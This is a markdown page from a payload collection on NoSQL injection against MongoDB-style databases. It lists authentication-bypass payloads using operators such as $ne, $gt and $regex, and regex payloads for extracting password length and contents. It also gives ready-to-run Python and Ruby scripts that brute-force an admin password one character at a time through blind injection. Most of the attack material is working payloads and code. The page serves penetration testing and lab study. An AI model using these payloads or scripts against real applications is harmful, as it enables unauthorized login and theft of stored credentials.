mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings
synced 2025-12-06 08:54:40 +01:00
247 lines
7.8 KiB
Markdown
247 lines
7.8 KiB
Markdown
# NoSQL Injection
|
|
|
|
> NoSQL databases provide looser consistency restrictions than traditional SQL databases. By requiring fewer relational constraints and consistency checks, NoSQL databases often offer performance and scaling benefits. Yet these databases are still potentially vulnerable to injection attacks, even if they aren't using the traditional SQL syntax.
|
|
|
|
## Summary
|
|
|
|
* [Tools](#tools)
|
|
* [Methodology](#methodology)
|
|
* [Operator Injection](#operator-injection)
|
|
* [Authentication Bypass](#authentication-bypass)
|
|
* [Extract Length Information](#extract-length-information)
|
|
* [Extract Data Information](#extract-data-information)
|
|
* [WAF and Filters](#waf-and-filters)
|
|
* [Blind NoSQL](#blind-nosql)
|
|
* [POST with JSON Body](#post-with-json-body)
|
|
* [POST with urlencoded Body](#post-with-urlencoded-body)
|
|
* [GET](#get)
|
|
* [Labs](#references)
|
|
* [References](#references)
|
|
|
|
## Tools
|
|
|
|
* [codingo/NoSQLmap](https://github.com/codingo/NoSQLMap) - Automated NoSQL database enumeration and web application exploitation tool
|
|
* [digininja/nosqlilab](https://github.com/digininja/nosqlilab) - A lab for playing with NoSQL Injection
|
|
* [matrix/Burp-NoSQLiScanner](https://github.com/matrix/Burp-NoSQLiScanner) - This extension provides a way to discover NoSQL injection vulnerabilities.
|
|
|
|
## Methodology
|
|
|
|
NoSQL injection occurs when an attacker manipulates queries by injecting malicious input into a NoSQL database query. Unlike SQL injection, NoSQL injection often exploits JSON-based queries and operators like `$ne`, `$gt`, `$regex`, or `$where` in MongoDB.
|
|
|
|
### Operator Injection
|
|
|
|
| Operator | Description |
|
|
| -------- | ------------------ |
|
|
| $ne | not equal |
|
|
| $regex | regular expression |
|
|
| $gt | greater than |
|
|
| $lt | lower than |
|
|
| $nin | not in |
|
|
|
|
Example: A web application has a product search feature
|
|
|
|
```js
|
|
db.products.find({ "price": userInput })
|
|
```
|
|
|
|
An attacker can inject a NoSQL query: `{ "$gt": 0 }`.
|
|
|
|
```js
|
|
db.products.find({ "price": { "$gt": 0 } })
|
|
```
|
|
|
|
Instead of returning a specific product, the database returns all products with a price greater than zero, leaking data.
|
|
|
|
### Authentication Bypass
|
|
|
|
Basic authentication bypass using not equal (`$ne`) or greater (`$gt`)
|
|
|
|
* HTTP data
|
|
|
|
```ps1
|
|
username[$ne]=toto&password[$ne]=toto
|
|
login[$regex]=a.*&pass[$ne]=lol
|
|
login[$gt]=admin&login[$lt]=test&pass[$ne]=1
|
|
login[$nin][]=admin&login[$nin][]=test&pass[$ne]=toto
|
|
```
|
|
|
|
* JSON data
|
|
|
|
```json
|
|
{"username": {"$ne": null}, "password": {"$ne": null}}
|
|
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
|
|
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
|
|
{"username": {"$gt":""}, "password": {"$gt":""}}
|
|
```
|
|
|
|
### Extract Length Information
|
|
|
|
Inject a payload using the $regex operator. The injection will work when the length is correct.
|
|
|
|
```ps1
|
|
username[$ne]=toto&password[$regex]=.{1}
|
|
username[$ne]=toto&password[$regex]=.{3}
|
|
```
|
|
|
|
### Extract Data Information
|
|
|
|
Extract data with "`$regex`" query operator.
|
|
|
|
* HTTP data
|
|
|
|
```ps1
|
|
username[$ne]=toto&password[$regex]=m.{2}
|
|
username[$ne]=toto&password[$regex]=md.{1}
|
|
username[$ne]=toto&password[$regex]=mdp
|
|
|
|
username[$ne]=toto&password[$regex]=m.*
|
|
username[$ne]=toto&password[$regex]=md.*
|
|
```
|
|
|
|
* JSON data
|
|
|
|
```json
|
|
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
|
|
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
|
|
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}
|
|
```
|
|
|
|
Extract data with "`$in`" query operator.
|
|
|
|
```json
|
|
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}
|
|
```
|
|
|
|
### WAF and Filters
|
|
|
|
**Remove pre-condition**:
|
|
|
|
In MongoDB, if a document contains duplicate keys, only the last occurrence of the key will take precedence.
|
|
|
|
```js
|
|
{"id":"10", "id":"100"}
|
|
```
|
|
|
|
In this case, the final value of "id" will be "100".
|
|
|
|
## Blind NoSQL
|
|
|
|
### POST with JSON Body
|
|
|
|
Python script:
|
|
|
|
```python
|
|
import requests
|
|
import urllib3
|
|
import string
|
|
import urllib
|
|
urllib3.disable_warnings()
|
|
|
|
username="admin"
|
|
password=""
|
|
u="http://example.org/login"
|
|
headers={'content-type': 'application/json'}
|
|
|
|
while True:
|
|
for c in string.printable:
|
|
if c not in ['*','+','.','?','|']:
|
|
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
|
|
r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False)
|
|
if 'OK' in r.text or r.status_code == 302:
|
|
print("Found one more char : %s" % (password+c))
|
|
password += c
|
|
```
|
|
|
|
### POST with urlencoded Body
|
|
|
|
Python script:
|
|
|
|
```python
|
|
import requests
|
|
import urllib3
|
|
import string
|
|
import urllib
|
|
urllib3.disable_warnings()
|
|
|
|
username="admin"
|
|
password=""
|
|
u="http://example.org/login"
|
|
headers={'content-type': 'application/x-www-form-urlencoded'}
|
|
|
|
while True:
|
|
for c in string.printable:
|
|
if c not in ['*','+','.','?','|','&','$']:
|
|
payload='user=%s&pass[$regex]=^%s&remember=on' % (username, password + c)
|
|
r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False)
|
|
if r.status_code == 302 and r.headers['Location'] == '/dashboard':
|
|
print("Found one more char : %s" % (password+c))
|
|
password += c
|
|
```
|
|
|
|
### GET
|
|
|
|
Python script:
|
|
|
|
```python
|
|
import requests
|
|
import urllib3
|
|
import string
|
|
import urllib
|
|
urllib3.disable_warnings()
|
|
|
|
username='admin'
|
|
password=''
|
|
u='http://example.org/login'
|
|
|
|
while True:
|
|
for c in string.printable:
|
|
if c not in ['*','+','.','?','|', '#', '&', '$']:
|
|
payload=f"?username={username}&password[$regex]=^{password + c}"
|
|
r = requests.get(u + payload)
|
|
if 'Yeah' in r.text:
|
|
print(f"Found one more char : {password+c}")
|
|
password += c
|
|
```
|
|
|
|
Ruby script:
|
|
|
|
```ruby
|
|
require 'httpx'
|
|
|
|
username = 'admin'
|
|
password = ''
|
|
url = 'http://example.org/login'
|
|
# CHARSET = (?!..?~).to_a # all ASCII printable characters
|
|
CHARSET = [*'0'..'9',*'a'..'z','-'] # alphanumeric + '-'
|
|
GET_EXCLUDE = ['*','+','.','?','|', '#', '&', '$']
|
|
session = HTTPX.plugin(:persistent)
|
|
|
|
while true
|
|
CHARSET.each do |c|
|
|
unless GET_EXCLUDE.include?(c)
|
|
payload = "?username=#{username}&password[$regex]=^#{password + c}"
|
|
res = session.get(url + payload)
|
|
if res.body.to_s.match?('Yeah')
|
|
puts "Found one more char : #{password + c}"
|
|
password += c
|
|
end
|
|
end
|
|
end
|
|
end
|
|
```
|
|
|
|
## Labs
|
|
|
|
* [Root Me - NoSQL injection - Authentication](https://www.root-me.org/en/Challenges/Web-Server/NoSQL-injection-Authentication)
|
|
* [Root Me - NoSQL injection - Blind](https://www.root-me.org/en/Challenges/Web-Server/NoSQL-injection-Blind)
|
|
|
|
## References
|
|
|
|
* [Burp-NoSQLiScanner - matrix - January 30, 2021](https://github.com/matrix/Burp-NoSQLiScanner/blob/main/src/burp/BurpExtender.java)
|
|
* [Getting rid of pre- and post-conditions in NoSQL injections - Reino Mostert - March 11, 2025](https://sensepost.com/blog/2025/getting-rid-of-pre-and-post-conditions-in-nosql-injections/)
|
|
* [Les NOSQL injections Classique et Blind: Never trust user input - Geluchat - February 22, 2015](https://www.dailysecurity.fr/nosql-injections-classique-blind/)
|
|
* [MongoDB NoSQL Injection with Aggregation Pipelines - Soroush Dalili (@irsdl) - June 23, 2024](https://soroush.me/blog/2024/06/mongodb-nosql-injection-with-aggregation-pipelines/)
|
|
* [NoSQL error-based injection - Reino Mostert - March 15, 2025](https://sensepost.com/blog/2025/nosql-error-based-injection/)
|
|
* [NoSQL Injection in MongoDB - Zanon - July 17, 2016](https://zanon.io/posts/nosql-injection-in-mongodb)
|
|
* [NoSQL injection wordlists - cr0hn - May 5, 2021](https://github.com/cr0hn/nosqlinjection_wordlists)
|
|
* [Testing for NoSQL injection - OWASP - May 2, 2023](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.6-Testing_for_NoSQL_Injection)
|